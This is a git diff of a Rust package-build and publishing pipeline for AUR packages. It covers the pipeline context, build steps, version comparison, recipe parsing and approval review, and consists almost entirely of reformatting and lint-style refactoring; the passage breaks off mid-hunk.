@@ -7,9 +7,9 @@ use std::sync::Arc;
use std::time::Duration;
use crate::config::Config;
-use crate::db::{self, builds, Db, Pkgbase};
-use crate::db::model::*;
+use crate::db::model::{BuildState, CandidateRow, ReleaseRow, StepState};
use crate::db::SnapshotRow;
+use crate::db::{self, builds, Db, Pkgbase};
use crate::error::{Error, Missing, Result};
use crate::sandbox::{Sandbox, SandboxBackend};
@@ -103,26 +103,17 @@ pub struct Ctx {
impl Ctx {
pub fn new(cfg: &Config, db: &Db, build_id: &str) -> Result<Self> {
- let build = builds::get(db, build_id)?
- .ok_or_else(|| Error::not_found(Missing::Build(build_id.to_string())))?;
- let pb = db::get_pkgbase_by_id(db, build.pkgbase_id)?
- .ok_or_else(|| Error::not_found("pkgbase for build"))?;
- let src = match build.candidate_id {
- Some(cid) => {
- let c = crate::review::reads::candidate(db, cid)?
- .ok_or_else(|| Error::not_found("candidate for build"))?;
- let snap = db::snapshot_by_id(db, c.snapshot_id)?
- .ok_or_else(|| Error::not_found("snapshot for candidate"))?;
- SourceIdentity::from_candidate(&c, &snap)
- }
- None => {
- let rid = build
- .release_id
- .ok_or_else(|| Error::invalid("build has neither candidate nor release"))?;
- let r = db::release_by_id(db, rid)?
- .ok_or_else(|| Error::not_found("release for rebuild"))?;
- SourceIdentity::from_release(&r)
- }
+ let build = builds::get(db, build_id)?.ok_or_else(|| Error::not_found(Missing::Build(build_id.to_string())))?;
+ let pb = db::get_pkgbase_by_id(db, build.pkgbase_id)?.ok_or_else(|| Error::not_found("pkgbase for build"))?;
+ let src = if let Some(cid) = build.candidate_id {
+ let c = crate::review::reads::candidate(db, cid)?.ok_or_else(|| Error::not_found("candidate for build"))?;
+ let snap =
+ db::snapshot_by_id(db, c.snapshot_id)?.ok_or_else(|| Error::not_found("snapshot for candidate"))?;
+ SourceIdentity::from_candidate(&c, &snap)
+ } else {
+ let rid = build.release_id.ok_or_else(|| Error::invalid("build has neither candidate nor release"))?;
+ let r = db::release_by_id(db, rid)?.ok_or_else(|| Error::not_found("release for rebuild"))?;
+ SourceIdentity::from_release(&r)
};
let attempt = build.attempt;
let profile = build.build_profile.clone();
@@ -231,20 +222,13 @@ fn run_with_impl(ctx: &Ctx) -> Result<Outcome> {
Err(e) => {
let transient = e.is_transient();
builds::finish_step(&ctx.db, &ctx.build.id, step, StepState::Failed, None, Some(&e.to_string()))?;
- builds::set_state(
- &ctx.db,
- &ctx.build.id,
- BuildState::Failed,
- Some(&format!("{step}: {e}")),
- )?;
+ builds::set_state(&ctx.db, &ctx.build.id, BuildState::Failed, Some(&format!("{step}: {e}")))?;
ctx.log_line(&format!("!! {step} failed: {e}"));
return Ok(Outcome::Failed { step: step.to_string(), error: e.to_string(), transient });
}
}
}
- let release_id = ctx
- .release_id()
- .ok_or_else(|| Error::other("publish produced no release"))?;
+ let release_id = ctx.release_id().ok_or_else(|| Error::other("publish produced no release"))?;
builds::set_state(&ctx.db, &ctx.build.id, BuildState::Succeeded, None)?;
db::audit_system(
&ctx.db.writer,
@@ -263,8 +247,7 @@ impl Ctx {
}
pub fn enqueue_for_candidate(cfg: &Config, db: &Db, c: &CandidateRow) -> Result<String> {
- let pb = db::get_pkgbase_by_id(db, c.pkgbase_id)?
- .ok_or_else(|| Error::not_found("pkgbase"))?;
+ let pb = db::get_pkgbase_by_id(db, c.pkgbase_id)?.ok_or_else(|| Error::not_found("pkgbase"))?;
let world = publish::index_world(db)?;
let world_hash = crate::hash::canonical_json(&world)?;
let id = builds::build_id(&pb.name, &c.identity_hash, &world_hash, &cfg.build_profile);
@@ -274,19 +257,21 @@ pub fn enqueue_for_candidate(cfg: &Config, db: &Db, c: &CandidateRow) -> Result<
}
pub fn enqueue_manual_rebuild(cfg: &Config, db: &Db, pkgbase: &str) -> Result<String> {
- let pb = db::get_pkgbase(db, pkgbase)?
- .ok_or_else(|| Error::not_found(Missing::Pkgbase(pkgbase.to_string())))?;
+ let pb = db::get_pkgbase(db, pkgbase)?.ok_or_else(|| Error::not_found(Missing::Pkgbase(pkgbase.to_string())))?;
let rel = db::accepted_release(db, pkgbase)?
.ok_or_else(|| Error::invalid(format!("{pkgbase} has no accepted release")))?;
let identity = format!(
"sha256:{}",
- crate::hash::hex(crate::hash::canonical_json(&serde_json::json!({
- "aur_commit": rel.aur_commit,
- "recipe_hash": rel.recipe_hash,
- "upstream_pins": rel.pins(),
- "source_digests": rel.digests(),
- "requested": "manual_rebuild",
- }))?.as_bytes())
+ crate::hash::hex(
+ crate::hash::canonical_json(&serde_json::json!({
+ "aur_commit": rel.aur_commit,
+ "recipe_hash": rel.recipe_hash,
+ "upstream_pins": rel.pins(),
+ "source_digests": rel.digests(),
+ "requested": "manual_rebuild",
+ }))?
+ .as_bytes()
+ )
);
let world = publish::index_world(db)?;
let world_hash = crate::hash::canonical_json(&world)?;
diff --git a/src/pipeline/publish.rs b/src/pipeline/publish.rs
index d22b833..24b7cdb 100644
--- a/src/pipeline/publish.rs
+++ b/src/pipeline/publish.rs
@@ -166,20 +166,14 @@ fn commit_release(ctx: &Ctx, collect: &Collect) -> Result<i64> {
_ => None,
};
let approval_id = approval_id.or(inherited).ok_or_else(|| {
- Error::fail_closed(format!(
- "refusing to publish a {} build with no approval behind it",
- ctx.build.kind
- ))
+ Error::fail_closed(format!("refusing to publish a {} build with no approval behind it", ctx.build.kind))
})?;
let build_id = ctx.build.id.clone();
let packages = collect.packages.clone();
let names: Vec<String> = packages.iter().map(|p| p.name.clone()).collect();
let src = ctx.src.clone();
- let world_id = builds::get(&ctx.db, &build_id)
- .ok()
- .flatten()
- .and_then(|b| b.world_snapshot_id);
+ let world_id = builds::get(&ctx.db, &build_id).ok().flatten().and_then(|b| b.world_snapshot_id);
let repo_id = db::repo_id(&ctx.db)?;
let expected_base: Option<i64> = match ctx.build.kind.as_str() {
"manual_rebuild" => ctx.build.release_id,
@@ -193,9 +187,7 @@ fn commit_release(ctx: &Ctx, collect: &Collect) -> Result<i64> {
ctx.db.writer.tx(move |tx| {
let actual_base = db::accepted_pointer_in(tx, pkgbase_id)?;
if actual_base != expected_base {
- return Err(Error::conflict(
- "accepted pointer moved while this build was running; refusing to publish",
- ));
+ return Err(Error::conflict("accepted pointer moved while this build was running; refusing to publish"));
}
db::remove_index_packages_in(tx, &names)?;
let release_id = db::insert_release_in(
@@ -220,9 +212,7 @@ fn commit_release(ctx: &Ctx, collect: &Collect) -> Result<i64> {
db::insert_package_in(tx, repo_id, release_id, &p.name, &p.arch, &p.version, &p.digest)?;
}
if !db::cas_accepted_release_in(tx, pkgbase_id, release_id, expected_base)? {
- return Err(Error::conflict(
- "accepted pointer moved while this build was running; refusing to publish",
- ));
+ return Err(Error::conflict("accepted pointer moved while this build was running; refusing to publish"));
}
builds::set_release_in(tx, &build_id, release_id)?;
if let Some(cid) = candidate_id {
@@ -334,18 +324,14 @@ pub(crate) fn sign_to(cfg: &Config, path: &Path, sig_out: &Path) -> Result<()> {
}
fn fsync_file(p: &Path) -> Result<()> {
- let f = std::fs::File::open(p)
- .map_err(|e| Error::other(format!("open {} for fsync: {e}", p.display())))?;
- f.sync_all()
- .map_err(|e| Error::other(format!("fsync {}: {e}", p.display())))?;
+ let f = std::fs::File::open(p).map_err(|e| Error::other(format!("open {} for fsync: {e}", p.display())))?;
+ f.sync_all().map_err(|e| Error::other(format!("fsync {}: {e}", p.display())))?;
Ok(())
}
fn fsync_dir(p: &Path) -> Result<()> {
- let d = std::fs::File::open(p)
- .map_err(|e| Error::other(format!("open dir {} for fsync: {e}", p.display())))?;
- d.sync_all()
- .map_err(|e| Error::other(format!("fsync dir {}: {e}", p.display())))?;
+ let d = std::fs::File::open(p).map_err(|e| Error::other(format!("open dir {} for fsync: {e}", p.display())))?;
+ d.sync_all().map_err(|e| Error::other(format!("fsync dir {}: {e}", p.display())))?;
Ok(())
}
@@ -353,11 +339,8 @@ fn dedupe_by_name(paths: Vec<PathBuf>) -> Vec<PathBuf> {
let mut seen: BTreeSet<String> = BTreeSet::new();
let mut out: Vec<PathBuf> = Vec::new();
for p in paths.into_iter().rev() {
- let name = package_name(&p).unwrap_or_else(|| {
- p.file_name()
- .map(|s| s.to_string_lossy().into_owned())
- .unwrap_or_default()
- });
+ let name =
+ package_name(&p).unwrap_or_else(|| p.file_name().map_or_default(|s| s.to_string_lossy().into_owned()));
if seen.insert(name) {
out.push(p);
}
diff --git a/src/pipeline/steps.rs b/src/pipeline/steps.rs
index 775485d..9703d54 100644
--- a/src/pipeline/steps.rs
+++ b/src/pipeline/steps.rs
@@ -1,6 +1,9 @@
use std::path::Path;
-use crate::db::{self, builds, model::*};
+use crate::db::{
+ self, builds,
+ model::{Recipe, SourceDigest, WorldMember},
+};
use crate::error::{Error, Guard, Result, WorldGap};
use crate::git;
use crate::pipeline::{Collect, CollectedPkg, Ctx, StepResult};
@@ -29,8 +32,7 @@ fn materialize(ctx: &Ctx) -> Result<StepResult> {
.mirror_path
.as_ref()
.map(Path::new)
- .map(|p| p.to_path_buf())
- .unwrap_or_else(|| ctx.cfg.mirror_path(&ctx.pb.name));
+ .map_or_else(|| ctx.cfg.mirror_path(&ctx.pb.name), std::path::Path::to_path_buf);
if !mirror.exists() {
return Err(Error::fail_closed(format!(
"mirror {} missing; refusing to fetch a recipe from the network at build time",
@@ -105,10 +107,7 @@ fn provision(ctx: &Ctx) -> Result<StepResult> {
if lease.is_empty() {
return Ok(StepResult::Skipped("no of-our-packages dependencies to install".into()));
}
- let sbx = match sandbox_or_wait(ctx)? {
- Some(s) => s,
- None => return Ok(StepResult::Blocked(vec!["sandbox-pool".into()])),
- };
+ let Some(sbx) = sandbox_or_wait(ctx)? else { return Ok(StepResult::Blocked(vec!["sandbox-pool".into()])) };
for e in &lease {
let path = ctx.cfg.store_path(&e.digest);
let (digest, _) = crate::hash::digest_file(&path)?;
@@ -134,11 +133,7 @@ fn provision(ctx: &Ctx) -> Result<StepResult> {
}
let q = sbx.run(&Cmd::new(vec![ctx.cfg.pacman_bin.clone(), "-Q".into()]), &mut |_| {})?;
if !q.success() {
- return Err(Error::fail_closed(format!(
- "{} -Q failed: {}",
- ctx.cfg.pacman_bin,
- tail(&q.stderr)
- )));
+ return Err(Error::fail_closed(format!("{} -Q failed: {}", ctx.cfg.pacman_bin, tail(&q.stderr))));
}
let installed: std::collections::BTreeSet<(String, String)> = String::from_utf8_lossy(&q.stdout)
.lines()
@@ -150,9 +145,7 @@ fn provision(ctx: &Ctx) -> Result<StepResult> {
.collect();
for e in &lease {
if !installed.contains(&(e.name.clone(), e.version.clone())) {
- return Err(Error::world_mismatch(WorldGap::MissingPin {
- package: format!("{}-{}", e.name, e.version),
- }));
+ return Err(Error::world_mismatch(WorldGap::MissingPin { package: format!("{}-{}", e.name, e.version) }));
}
}
ctx.log_line(&format!(
@@ -164,9 +157,7 @@ fn provision(ctx: &Ctx) -> Result<StepResult> {
Ok(StepResult::Done(Some(crate::hash::canonical_json(&world)?)))
}
-fn sandbox_or_wait(
- ctx: &Ctx,
-) -> Result<Option<std::sync::Arc<dyn crate::sandbox::Sandbox>>> {
+fn sandbox_or_wait(ctx: &Ctx) -> Result<Option<std::sync::Arc<dyn crate::sandbox::Sandbox>>> {
match ctx.sandbox() {
Ok(s) => Ok(Some(s)),
Err(e) if e.is_pool_exhausted() => {
@@ -218,14 +209,12 @@ fn sources(ctx: &Ctx) -> Result<StepResult> {
}
}
ctx.log_line(&format!(" {}/{} source digests verified", verified, digests.len()));
- Ok(StepResult::Done(Some(crate::hash::hex_str(
- &ctx.src.source_digests_json,
- ))))
+ Ok(StepResult::Done(Some(crate::hash::hex_str(&ctx.src.source_digests_json))))
}
fn pkgver(ctx: &Ctx) -> Result<StepResult> {
let recipe = recipe_at(&ctx.srcdir)?;
- let has_vcs = recipe.source_entries.iter().any(|s| s.is_vcs());
+ let has_vcs = recipe.source_entries.iter().any(super::super::db::model::SourceEntry::is_vcs);
if !has_vcs {
let want = (ctx.src.pkgver.clone(), ctx.src.pkgrel.clone());
let got = (recipe.pkgver.clone(), recipe.pkgrel.clone());
@@ -263,10 +252,7 @@ fn pkgver(ctx: &Ctx) -> Result<StepResult> {
fn build(ctx: &Ctx) -> Result<StepResult> {
let argv = vec![ctx.cfg.makepkg_bin.clone(), "-c".into(), "-f".into()];
- let sbx = match sandbox_or_wait(ctx)? {
- Some(s) => s,
- None => return Ok(StepResult::Blocked(vec!["sandbox-pool".into()])),
- };
+ let Some(sbx) = sandbox_or_wait(ctx)? else { return Ok(StepResult::Blocked(vec!["sandbox-pool".into()])) };
if let Some(parent) = ctx.log.parent() {
let _ = std::fs::create_dir_all(parent);
}
@@ -280,15 +266,9 @@ fn build(ctx: &Ctx) -> Result<StepResult> {
let out = sbx.run(&Cmd::new(argv).in_dir(&ctx.srcdir), &mut on_log)?;
drop(on_log);
if !out.success() {
- return Err(Error::Subprocess {
- cmd: ctx.cfg.makepkg_bin.clone(),
- detail: tail(&out.stderr),
- });
+ return Err(Error::Subprocess { cmd: ctx.cfg.makepkg_bin.clone(), detail: tail(&out.stderr) });
}
- Ok(StepResult::Done(Some(crate::hash::hex_str(&format!(
- "build:{}",
- ctx.build.id
- )))))
+ Ok(StepResult::Done(Some(crate::hash::hex_str(&format!("build:{}", ctx.build.id)))))
}
fn tail(b: &[u8]) -> String {
@@ -300,14 +280,14 @@ fn tail(b: &[u8]) -> String {
fn collect(ctx: &Ctx) -> Result<StepResult> {
let mut pkgs = Vec::new();
let mut entries: Vec<PathBuf> = std::fs::read_dir(&ctx.srcdir)?
- .filter_map(|e| e.ok())
+ .filter_map(std::result::Result::ok)
.map(|e| e.path())
.filter(|p| p.to_string_lossy().ends_with(".pkg.tar.zst"))
.collect();
entries.sort();
let staging_root = ctx.staging.canonicalize()?;
for path in entries {
- if std::fs::symlink_metadata(&path).map(|m| m.file_type().is_symlink()).unwrap_or(true) {
+ if std::fs::symlink_metadata(&path).map_or(true, |m| m.file_type().is_symlink()) {
return Err(Error::fail_closed(format!(
"{} is a symlink; a build may not smuggle bytes in from outside its own staging dir",
path.display()
@@ -316,15 +296,16 @@ fn collect(ctx: &Ctx) -> Result<StepResult> {
let resolved = path.canonicalize()?;
if !resolved.starts_with(&staging_root) {
return Err(Error::fail_closed(format!(
- "{} resolves outside this build's staging dir ({staging_root:?}); refusing to ingest it",
- path.display()
+ "{} resolves outside this build's staging dir ({}); refusing to ingest it",
+ path.display(),
+ staging_root.display()
)));
}
let path = resolved;
let bytes = std::fs::read(&path)?;
let (digest, size) = crate::hash::digest_file(&path)?;
- let pkginfo = crate::pkginfo::pkginfo_text(&bytes)
- .map_err(|e| Error::invalid(format!("{}: {e}", path.display())))?;
+ let pkginfo =
+ crate::pkginfo::pkginfo_text(&bytes).map_err(|e| Error::invalid(format!("{}: {e}", path.display())))?;
let meta = crate::pkginfo::parse_pkginfo(&pkginfo);
let buildinfo = crate::pkginfo::buildinfo_text(&bytes).unwrap_or_default();
let sig = path.with_extension("pkg.tar.zst.sig");
@@ -340,10 +321,7 @@ fn collect(ctx: &Ctx) -> Result<StepResult> {
makedepends: meta.makedepends.clone(),
provides: meta.provides.clone(),
conflicts: meta.conflicts.clone(),
- installed: crate::pkginfo::parse_installed(&buildinfo)
- .into_iter()
- .map(|i| (i.name, i.version))
- .collect(),
+ installed: crate::pkginfo::parse_installed(&buildinfo).into_iter().map(|i| (i.name, i.version)).collect(),
});
}
if pkgs.is_empty() {
@@ -351,7 +329,10 @@ fn collect(ctx: &Ctx) -> Result<StepResult> {
}
let collect = Collect { packages: pkgs.clone() };
collect.save(&ctx.collect_path)?;
- ctx.log_line(&format!(" collected {}", pkgs.iter().map(|p| format!("{}-{}", p.name, p.version)).collect::<Vec<_>>().join(", ")));
+ ctx.log_line(&format!(
+ " collected {}",
+ pkgs.iter().map(|p| format!("{}-{}", p.name, p.version)).collect::<Vec<_>>().join(", ")
+ ));
Ok(StepResult::Done(Some(crate::hash::hex_str(&serde_json::to_string(&pkgs)?))))
}
@@ -359,10 +340,8 @@ fn verify(ctx: &Ctx) -> Result<StepResult> {
let collect = Collect::load(&ctx.collect_path)?;
let ours = db::our_package_names(&ctx.db)?;
for p in &collect.packages {
- if crate::pkgver::is_downgrade(
- &db::index_version(&ctx.db, &p.name)?.unwrap_or_else(|| "0".into()),
- &p.version,
- ) {
+ if crate::pkgver::is_downgrade(&db::index_version(&ctx.db, &p.name)?.unwrap_or_else(|| "0".into()), &p.version)
+ {
ctx.log_line(&format!(" note: {} is a downgrade from what we serve", p.name));
}
let mut provided: std::collections::BTreeSet<String> = ours.clone();
@@ -439,10 +418,7 @@ fn ingest(ctx: &Ctx) -> Result<StepResult> {
let world_id = db::put_world_snapshot(&ctx.db.writer, &members)?;
builds::set_world(&ctx.db, &ctx.build.id, world_id)?;
ctx.log_line(&format!(" ingested {} artifact(s), world has {} of our packages", packages.len(), members.len()));
- Ok(StepResult::Done(Some(crate::hash::hex_str(&format!(
- "ingest:{}",
- packages.len()
- )))))
+ Ok(StepResult::Done(Some(crate::hash::hex_str(&format!("ingest:{}", packages.len())))))
}
fn publish(ctx: &Ctx) -> Result<StepResult> {
@@ -456,7 +432,7 @@ use std::path::PathBuf;
fn recipe_at(dir: &Path) -> Result<Recipe> {
let mut files = std::collections::BTreeMap::new();
- for entry in walkdir::WalkDir::new(dir).max_depth(2).into_iter().filter_map(|e| e.ok()) {
+ for entry in walkdir::WalkDir::new(dir).max_depth(2).into_iter().filter_map(std::result::Result::ok) {
let p = entry.path();
if !p.is_file() {
continue;
@@ -468,4 +444,3 @@ fn recipe_at(dir: &Path) -> Result<Recipe> {
}
crate::recipe::recipe_from_tree(&files)
}
-
diff --git a/src/pkgver/mod.rs b/src/pkgver/mod.rs
index c97b4a2..5abb5c0 100644
--- a/src/pkgver/mod.rs
+++ b/src/pkgver/mod.rs
@@ -64,14 +64,7 @@ impl Version {
}
}
-pub fn compare(
- epoch_a: i64,
- pkgver_a: &str,
- pkgrel_a: &str,
- epoch_b: i64,
- pkgver_b: &str,
- pkgrel_b: &str,
-) -> Ordering {
+pub fn compare(epoch_a: i64, pkgver_a: &str, pkgrel_a: &str, epoch_b: i64, pkgver_b: &str, pkgrel_b: &str) -> Ordering {
match epoch_a.cmp(&epoch_b) {
Ordering::Equal => {}
o => return o,
@@ -133,18 +126,10 @@ fn vercmp_string(a: &str, b: &str) -> Ordering {
match (i >= a.len(), j >= b.len()) {
(true, true) => return Ordering::Equal,
(true, false) => {
- return if j < b.len() && b[j].is_ascii_alphabetic() {
- Ordering::Greater
- } else {
- Ordering::Less
- }
+ return if j < b.len() && b[j].is_ascii_alphabetic() { Ordering::Greater } else { Ordering::Less }
}
(false, true) => {
- return if i < a.len() && a[i].is_ascii_alphabetic() {
- Ordering::Less
- } else {
- Ordering::Greater
- }
+ return if i < a.len() && a[i].is_ascii_alphabetic() { Ordering::Less } else { Ordering::Greater }
}
(false, false) => {}
}
@@ -243,23 +228,13 @@ impl Dep {
Some((head, _desc)) if !head.contains(['>', '<', '=']) => head,
_ => s,
};
- for (tok, op) in [
- (">=", DepOp::Ge),
- ("<=", DepOp::Le),
- ("=", DepOp::Eq),
- (">", DepOp::Gt),
- ("<", DepOp::Lt),
- ] {
+ for (tok, op) in [(">=", DepOp::Ge), ("<=", DepOp::Le), ("=", DepOp::Eq), (">", DepOp::Gt), ("<", DepOp::Lt)] {
if let Some((name, ver)) = s.split_once(tok) {
let name = name.trim();
if name.is_empty() {
return None;
}
- return Some(Dep {
- name: name.to_string(),
- op,
- version: Some(ver.trim().to_string()),
- });
+ return Some(Dep { name: name.to_string(), op, version: Some(ver.trim().to_string()) });
}
}
Some(Dep { name: s.trim().to_string(), op: DepOp::Any, version: None })
@@ -368,19 +343,53 @@ mod tests {
// ---------------------------------------------------------------------
const ORDERED: &[(&str, &str)] = &[
- ("v1.2.3", "v1.2.4"), ("1.0", "1.1"), ("1.1", "1.2"), ("1.2", "2.0"),
- ("2.0", "2.1.0"), ("2.1.0", "2.1.1"), ("1.0rc1", "1.0"), ("1.0", "1.0.0"),
- ("1.0.0", "1.0.1"), ("1.0.1", "1.1.0"), ("1.1", "1.1.0"), ("1", "1.0"),
- ("1.0", "1.0.1"), ("1.0.1", "1.1"), ("1.1", "1.1.1"), ("1.1.1", "1.2"),
- ("1.2", "1.2.2"), ("1.2.2", "1.3"), ("1.3", "1.3.1"), ("1.3.1", "1.4"),
- ("1.4", "1.4.1"), ("1.4.1", "2.0"), ("2.0", "2.0.1"), ("2.0.1", "2.1.0"),
- ("2.1.0", "2.1.1"), ("2.1.1", "3.0"), ("3.0", "3.0.1"), ("3.0.1", "4.0"),
- ("1.0.a", "1.0.1"), ("1.0.b", "1.0.2"), ("1.0.2", "1.0.2.a"),
- ("1.0.2.a", "1.0.2.aa"), ("1.0.2.aa", "1.0.2.b"), ("1.0.2.b", "1.0.2.bb"),
- ("1.0.2.bb", "1.0.3"), ("1.0.3a", "1.0.3b"), ("1.0.3b", "1.1"),
- ("1.1a", "1.2"), ("1:0.8", "2:0.1"), ("2:0.1", "3:0.1"), ("1.0-1", "1.0-2"),
- ("1.0-2", "1.0-3"), ("1.0-3", "1.1-1"), ("1:1.0-1", "1:1.0-2"),
- ("1:1.0-2", "2:0.1-1"), ("2.5", "2.24"), ("2.0", "2.0.01"),
+ ("v1.2.3", "v1.2.4"),
+ ("1.0", "1.1"),
+ ("1.1", "1.2"),
+ ("1.2", "2.0"),
+ ("2.0", "2.1.0"),
+ ("2.1.0", "2.1.1"),
+ ("1.0rc1", "1.0"),
+ ("1.0", "1.0.0"),
+ ("1.0.0", "1.0.1"),
+ ("1.0.1", "1.1.0"),
+ ("1.1", "1.1.0"),
+ ("1", "1.0"),
+ ("1.0", "1.0.1"),
+ ("1.0.1", "1.1"),
+ ("1.1", "1.1.1"),
+ ("1.1.1", "1.2"),
+ ("1.2", "1.2.2"),
+ ("1.2.2", "1.3"),
+ ("1.3", "1.3.1"),
+ ("1.3.1", "1.4"),
+ ("1.4", "1.4.1"),
+ ("1.4.1", "2.0"),
+ ("2.0", "2.0.1"),
+ ("2.0.1", "2.1.0"),
+ ("2.1.0", "2.1.1"),
+ ("2.1.1", "3.0"),
+ ("3.0", "3.0.1"),
+ ("3.0.1", "4.0"),
+ ("1.0.a", "1.0.1"),
+ ("1.0.b", "1.0.2"),
+ ("1.0.2", "1.0.2.a"),
+ ("1.0.2.a", "1.0.2.aa"),
+ ("1.0.2.aa", "1.0.2.b"),
+ ("1.0.2.b", "1.0.2.bb"),
+ ("1.0.2.bb", "1.0.3"),
+ ("1.0.3a", "1.0.3b"),
+ ("1.0.3b", "1.1"),
+ ("1.1a", "1.2"),
+ ("1:0.8", "2:0.1"),
+ ("2:0.1", "3:0.1"),
+ ("1.0-1", "1.0-2"),
+ ("1.0-2", "1.0-3"),
+ ("1.0-3", "1.1-1"),
+ ("1:1.0-1", "1:1.0-2"),
+ ("1:1.0-2", "2:0.1-1"),
+ ("2.5", "2.24"),
+ ("2.0", "2.0.01"),
];
#[test]
@@ -414,11 +423,7 @@ mod tests {
let mut cols = line.split('\t');
let (a, b) = (cols.next().unwrap(), cols.next().unwrap());
let theirs: i32 = cols.next().unwrap().parse().expect("verdict column");
- assert_eq!(
- sign(vercmp_string(a, b)),
- theirs,
- "vercmp({a:?}, {b:?}) disagrees with the recorded oracle"
- );
+ assert_eq!(sign(vercmp_string(a, b)), theirs, "vercmp({a:?}, {b:?}) disagrees with the recorded oracle");
checked += 1;
recorded.insert((a, b), theirs);
}
@@ -443,10 +448,9 @@ mod tests {
return;
}
let fragments = [
- "1", "1.0", "1.0.0", "1.0.1", "1.1", "2", "2.0", "1.0a", "1.0rc1", "1.0.2a", "1.0.2.1",
- "1.0.2.a", "1.0.2.aa", "1.0.2.b", "1.0.2z", "1.0z", "1.0.z", "0.9", "10", "2.24", "2.5",
- "1.02", "1.0_2", "1.0.p", "1.0.3a", "1.0.3b", "1.a", "1a", "1.0+git", "1.0~beta", "2.0_1",
- "1.0.x", "2024.01",
+ "1", "1.0", "1.0.0", "1.0.1", "1.1", "2", "2.0", "1.0a", "1.0rc1", "1.0.2a", "1.0.2.1", "1.0.2.a",
+ "1.0.2.aa", "1.0.2.b", "1.0.2z", "1.0z", "1.0.z", "0.9", "10", "2.24", "2.5", "1.02", "1.0_2", "1.0.p",
+ "1.0.3a", "1.0.3b", "1.a", "1a", "1.0+git", "1.0~beta", "2.0_1", "1.0.x", "2024.01",
];
let mut checked = 0;
for a in fragments {
@@ -462,13 +466,9 @@ mod tests {
#[test]
fn equal_versions_compare_equal_and_leading_zeros_do_not_matter() {
- for (a, b) in [
- ("1.0-1", "1.0-1"),
- ("1:1.0-1", "1:1.0-1"),
- ("1.02-1", "1.2-1"),
- ("01.0-1", "1.0-1"),
- ("1.0-01", "1.0-1"),
- ] {
+ for (a, b) in
+ [("1.0-1", "1.0-1"), ("1:1.0-1", "1:1.0-1"), ("1.02-1", "1.2-1"), ("01.0-1", "1.0-1"), ("1.0-01", "1.0-1")]
+ {
assert_eq!(vercmp(a, b), Ordering::Equal, "{a} vs {b}");
}
}
@@ -537,7 +537,7 @@ mod tests {
fn provides_and_conflicts_use_the_same_grammar() {
for src in ["aur-build", "aur-build=0.1-1", "virtual-thing>=1.0"] {
let d = Dep::parse(src).expect(src);
- assert!(!d.name().is_empty());
+ assert_ne!(d.name(), "");
assert!(!d.name().contains(['>', '<', '=']));
}
assert_eq!(dep_names(&["aur-build=0.1-1".into(), "other".into()]), vec!["aur-build", "other"]);
diff --git a/src/recipe.rs b/src/recipe.rs
index 5e8f9a3..870d2bf 100644
--- a/src/recipe.rs
+++ b/src/recipe.rs
@@ -122,16 +122,8 @@ pub fn parse_pkgbuild(text: &str) -> Result<Recipe> {
r.backup = get("backup");
r.install = get("install").into_iter().next();
let pkgnames = get("pkgname");
- r.pkgnames = if pkgnames.is_empty() {
- vec![r.pkgbase.clone()]
- } else {
- pkgnames.clone()
- };
- r.pkg_depends = r
- .pkgnames
- .iter()
- .map(|n| (n.clone(), r.depends.clone()))
- .collect();
+ r.pkgnames = if pkgnames.is_empty() { vec![r.pkgbase.clone()] } else { pkgnames.clone() };
+ r.pkg_depends = r.pkgnames.iter().map(|n| (n.clone(), r.depends.clone())).collect();
r.skipgpcheck = text.contains("--skippgpcheck");
r.pkgbuild = text.to_string();
r.source_entries = parse_source_entries(&r.source)?;
@@ -178,10 +170,7 @@ fn split_assign(t: &str) -> Option<(String, String)> {
let (name, rest) = t.split_once('=')?;
let name = name.trim();
if name.is_empty()
- || !name
- .chars()
- .next()
- .is_some_and(|c| c.is_ascii_alphabetic() || c == '_')
+ || !name.chars().next().is_some_and(|c| c.is_ascii_alphabetic() || c == '_')
|| !name.chars().all(|c| c.is_ascii_alphanumeric() || c == '_')
{
return None;
@@ -262,10 +251,7 @@ fn parse_source_entries(list: &[String]) -> Result<Vec<SourceEntry>> {
let mut branch = None;
if let Some(f) = frag {
for pair in f.split('&') {
- let (k, v) = match pair.split_once('=') {
- Some((k, v)) => (k, v),
- None => continue,
- };
+ let Some((k, v)) = pair.split_once('=') else { continue };
match k {
"commit" => commit = Some(v.to_string()),
"tag" => tag = Some(v.to_string()),
@@ -275,23 +261,10 @@ fn parse_source_entries(list: &[String]) -> Result<Vec<SourceEntry>> {
}
}
let local = vcs.is_none() && !clean.contains("://");
- let filename = filename.or_else(|| {
- if local {
- clean.rsplit('/').next().map(|s| s.to_string())
- } else {
- None
- }
- });
- out.push(SourceEntry {
- index,
- url: clean,
- filename,
- commit,
- tag,
- branch,
- vcs,
- local,
- });
+ let filename =
+ filename
+ .or_else(|| if local { clean.rsplit('/').next().map(std::string::ToString::to_string) } else { None });
+ out.push(SourceEntry { index, url: clean, filename, commit, tag, branch, vcs, local });
}
Ok(out)
}
@@ -384,7 +357,11 @@ mod tests {
#[test]
fn bodies_start_at_the_first_function_and_run_to_the_end() {
let text = "pkgver=1.0\nsource=(x)\nbuild() {\n make\n}\n";
- assert_eq!(pkgbuild_bodies(text), "build() {\nmake\n}\n", "each line is trimmed, the bodies are compared as text");
+ assert_eq!(
+ pkgbuild_bodies(text),
+ "build() {\nmake\n}\n",
+ "each line is trimmed, the bodies are compared as text"
+ );
assert_eq!(pkgbuild_bodies("pkgver=1.0\n"), "");
}
diff --git a/src/review/approve.rs b/src/review/approve.rs
index c5b2f07..26963d6 100644
--- a/src/review/approve.rs
+++ b/src/review/approve.rs
@@ -1,4 +1,4 @@
-use crate::db::{self, approvals, candidates, CandidateState, *};
+use crate::db::{self, approvals, candidates, CandidateRow, CandidateState, Db};
use crate::error::{Error, Missing, Refused, Result};
use crate::time;
@@ -43,64 +43,68 @@ pub fn approve(
let actor = actor.to_string();
let ih = identity_hash.to_string();
let dd = diff_digest.to_string();
- let note = note.map(|s| s.to_string());
+ let note = note.map(std::string::ToString::to_string);
let at = time::now();
- db.writer.tx(move |tx| -> Result<std::result::Result<Approval, ApproveError>> {
- let subject = candidates::review_subject_in(tx, candidate_id)?
- .ok_or_else(|| Error::not_found(Missing::Candidate(candidate_id)))?;
- let id = subject.id;
- let base = subject.base_release_id;
- let current_base = subject.current_base_release_id;
+ db.writer
+ .tx(move |tx| -> Result<std::result::Result<Approval, ApproveError>> {
+ let subject = candidates::review_subject_in(tx, candidate_id)?
+ .ok_or_else(|| Error::not_found(Missing::Candidate(candidate_id)))?;
+ let id = subject.id;
+ let base = subject.base_release_id;
+ let current_base = subject.current_base_release_id;
- if !subject.state.is_open() {
- return Ok(Err(ApproveError::Stale(Stale::NotPending { state: subject.state.to_string() })));
- }
- if subject.identity_hash != ih {
